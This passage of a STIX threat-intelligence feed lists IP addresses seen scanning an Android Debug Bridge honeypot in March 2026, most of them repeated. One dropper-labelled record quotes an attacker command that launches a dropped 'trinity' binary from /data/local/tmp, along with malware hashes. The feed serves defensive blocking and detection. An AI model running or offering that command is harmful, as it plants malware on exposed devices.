          "last_seen": "2026-03-20T13:39:46.853Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-20T15:47:18.000Z | last_seen=2026-03-20T15:48:19.749Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--99655e23-7d86-4b07-921a-7802fee585be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.42.164.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T16:00:02.000Z",
      "valid_until": "2026-04-21T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-20T15:47:18.000Z",
          "last_seen": "2026-03-20T15:48:19.749Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-20T17:05:42.000Z | last_seen=2026-03-27T18:42:15.253Z | ports=5555 | cc=CN | asn=134543 | org=China Unicom Guangdong IP network",
      "id": "indicator--3227bf1a-7059-4626-9fd6-1f8759f2f6c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T18:00:02.000Z",
      "valid_until": "2026-04-21T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-20T17:05:42.000Z",
          "last_seen": "2026-03-27T18:42:15.253Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134543"
          ],
          "org": [
            "China Unicom Guangdong IP network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134543; asn_org=China Unicom Guangdong IP network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-20T17:05:42.000Z | last_seen=2026-03-27T18:42:15.253Z | ports=5555 | cc=CN | asn=134543 | org=China Unicom Guangdong IP network",
      "id": "indicator--3227bf1a-7059-4626-9fd6-1f8759f2f6c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.90.220.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T18:00:02.000Z",
      "valid_until": "2026-04-21T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-20T17:05:42.000Z",
          "last_seen": "2026-03-27T18:42:15.253Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134543"
          ],
          "org": [
            "China Unicom Guangdong IP network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=59 | first_seen=2026-03-20T20:26:58.000Z | last_seen=2026-03-20T20:39:36.950Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--8743f072-5ba3-4f0d-8d4d-0b4f3299b003",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '39.144.129.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:00:03.000Z",
      "valid_until": "2026-04-21T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 59,
          "first_seen": "2026-03-20T20:26:58.000Z",
          "last_seen": "2026-03-20T20:39:36.950Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T21:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=59 | first_seen=2026-03-20T20:26:58.000Z | last_seen=2026-03-20T20:39:36.950Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--8743f072-5ba3-4f0d-8d4d-0b4f3299b003",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '39.144.129.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:00:04.000Z",
      "valid_until": "2026-04-21T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 59,
          "first_seen": "2026-03-20T20:26:58.000Z",
          "last_seen": "2026-03-20T20:39:36.950Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-20T21:53:06.000Z | last_seen=2026-03-20T21:54:10.032Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--4d16c729-9d23-474b-9fcb-4ac447fb7404",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.134.91.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:00:02.000Z",
      "valid_until": "2026-04-21T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-20T21:53:06.000Z",
          "last_seen": "2026-03-20T21:54:10.032Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T22:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-20T21:53:06.000Z | last_seen=2026-03-20T21:54:10.032Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--4d16c729-9d23-474b-9fcb-4ac447fb7404",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.134.91.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:00:08.000Z",
      "valid_until": "2026-04-21T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-20T21:53:06.000Z",
          "last_seen": "2026-03-20T21:54:10.032Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=139462; asn_org=CHINANET Guizhou Yilong IDC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-20T22:42:02.000Z | last_seen=2026-03-20T22:43:08.257Z | ports=5555 | cc=CN | asn=139462 | org=CHINANET Guizhou Yilong IDC",
      "id": "indicator--b850784b-4dfd-45a4-b4b1-a61400cb75e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.123.41.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T23:00:03.000Z",
      "valid_until": "2026-04-21T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-20T22:42:02.000Z",
          "last_seen": "2026-03-20T22:43:08.257Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "139462"
          ],
          "org": [
            "CHINANET Guizhou Yilong IDC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-20T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=139462; asn_org=CHINANET Guizhou Yilong IDC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-20T22:42:02.000Z | last_seen=2026-03-20T22:43:08.257Z | ports=5555 | cc=CN | asn=139462 | org=CHINANET Guizhou Yilong IDC",
      "id": "indicator--b850784b-4dfd-45a4-b4b1-a61400cb75e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.123.41.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T23:00:03.000Z",
      "valid_until": "2026-04-21T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-20T22:42:02.000Z",
          "last_seen": "2026-03-20T22:43:08.257Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "139462"
          ],
          "org": [
            "CHINANET Guizhou Yilong IDC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-20T23:26:05.000Z | last_seen=2026-03-20T23:27:11.944Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--d5ec0ac9-8caf-4f9b-800c-35d81dcc30a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '42.102.103.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:00:02.000Z",
      "valid_until": "2026-04-22T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-20T23:26:05.000Z",
          "last_seen": "2026-03-20T23:27:11.944Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-20T23:26:05.000Z | last_seen=2026-03-20T23:27:11.944Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--d5ec0ac9-8caf-4f9b-800c-35d81dcc30a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '42.102.103.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:00:02.000Z",
      "valid_until": "2026-04-22T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-20T23:26:05.000Z",
          "last_seen": "2026-03-20T23:27:11.944Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T01:52:46.000Z | last_seen=2026-03-21T01:53:53.541Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c6c0ed9-e850-4810-964f-5e99e3c52db4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.65.68.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:00:02.000Z",
      "valid_until": "2026-04-22T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T01:52:46.000Z",
          "last_seen": "2026-03-21T01:53:53.541Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T01:35:14.000Z | last_seen=2026-03-21T01:36:19.501Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--08ac6586-90bc-4e51-820c-419d33b87c8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.55.171.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:00:02.000Z",
      "valid_until": "2026-04-22T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T01:35:14.000Z",
          "last_seen": "2026-03-21T01:36:19.501Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T01:52:46.000Z | last_seen=2026-03-21T01:53:53.541Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c6c0ed9-e850-4810-964f-5e99e3c52db4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.65.68.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:00:05.000Z",
      "valid_until": "2026-04-22T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T01:52:46.000Z",
          "last_seen": "2026-03-21T01:53:53.541Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T02:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T01:35:14.000Z | last_seen=2026-03-21T01:36:19.501Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--08ac6586-90bc-4e51-820c-419d33b87c8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.55.171.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:00:05.000Z",
      "valid_until": "2026-04-22T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T01:35:14.000Z",
          "last_seen": "2026-03-21T01:36:19.501Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T03:00:03.000Z",
